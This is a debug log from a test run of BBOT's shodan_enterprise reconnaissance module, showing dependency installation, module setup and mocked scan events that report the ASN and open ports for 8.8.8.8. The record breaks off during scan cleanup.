17:04:18,160 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:04:18,161 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 17:04:18,299 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 17:04:18,877 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 17:04:18,878 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 17:04:18,878 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 17:04:18,879 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 17:04:19,083 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 17:04:19,085 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 17:04:19,195 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 17:04:19,195 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 17:04:19,249 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 17:04:19,252 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 17:04:19,253 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 17:04:19,676 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 17:04:19,677 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 17:04:22,078 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 17:04:22,079 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 17:04:22,079 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 17:04:23,851 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 17:04:23,852 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 17:04:23,857 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:04:23,857 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 17:04:23,858 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 17:04:23,858 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 17:04:23,862 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/9db9lltrh5r9qxzvdo7k +2026-03-01 17:04:24,644 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 17:04:24,645 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 17:04:24,646 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:04:24,646 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 17:04:24,646 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:04:24,647 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 17:04:24,647 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:04:24,647 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 17:04:24,648 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 17:04:24,768 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 17:04:24,768 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 17:04:24,768 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 17:04:24,770 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 17:04:24,770 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 17:04:24,771 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 17:04:24,771 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 17:04:24,771 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 17:04:24,772 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 17:04:24,772 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 17:04:24,773 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 17:04:24,773 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 17:04:24,773 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 17:04:24,773 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 17:04:24,774 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 17:04:24,774 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 17:04:24,774 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 17:04:24,775 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 17:04:24,775 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 17:04:24,775 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 17:04:24,775 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 17:04:24,775 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 17:04:24,776 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 17:04:24,776 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 17:04:24,776 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 17:04:24,776 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 17:04:24,776 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 17:04:24,777 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 17:04:24,777 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 17:04:24,777 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 17:04:24,777 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 17:04:24,777 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 17:04:24,777 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 17:04:24,778 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 17:04:24,778 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 17:04:24,778 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 17:04:24,778 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 17:04:24,778 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 17:04:24,779 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 17:04:24,779 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 17:04:24,779 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 17:04:24,779 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 17:04:24,779 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 17:04:24,780 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 17:04:24,780 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 17:04:24,919 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_rfwduknp6k +2026-03-01 17:04:24,920 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 17:04:25,027 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 17:04:25,041 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 17:04:25,042 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 17:04:25,045 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-01 17:04:25,145 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:04:25,146 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:04:25,148 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:04:25,148 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-03-01 17:04:25,148 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-01 17:04:25,150 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:04:25,150 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:04:25,151 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-03-01 17:04:25,153 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:04:25,154 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:04:25,155 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 17:04:25,155 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 17:04:25,156 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 17:04:25,156 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:04:25,157 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 17:04:25,163 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 17:04:25,163 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 17:04:25,164 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 17:04:25,165 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 17:04:25,165 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-03-01 17:04:25,165 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-03-01 17:04:25,166 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-03-01 17:04:25,166 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 17:04:25,167 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 17:04:25,283 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 17:04:25,284 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 17:04:25,285 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:04:25,285 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-03-01 17:04:25,286 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 17:04:25,287 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:04:25,287 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:04:25,288 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:04:25,288 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,288 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,289 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:04:25,289 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:04:25,290 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:04:25,291 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:04:25,291 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:04:25,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,293 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,293 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,294 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:04:25,295 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:04:25,296 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 17:04:25,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,297 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,297 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,298 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,298 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,298 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:04:25,300 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,300 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,301 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,301 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,302 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,303 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:04:25,304 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,305 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,305 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,305 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:04:25,306 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,306 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,307 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:04:25,307 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:04:25,387 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 17:04:25,388 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:04:25,389 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:04:25,390 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,390 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:04:25,390 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,391 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:04:25,391 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:04:25,392 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 17:04:25,392 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 17:04:25,393 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 17:04:25,393 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 17:04:25,394 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 17:04:25,394 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 17:04:25,395 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 17:04:25,395 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 17:04:25,495 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 17:04:25,496 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 17:04:25,515 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 17:04:25,516 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 17:04:25,517 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 17:04:25,525 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 17:04:25,525 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 17:04:25,526 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 17:04:25,527 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 17:04:25,528 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 17:04:25,529 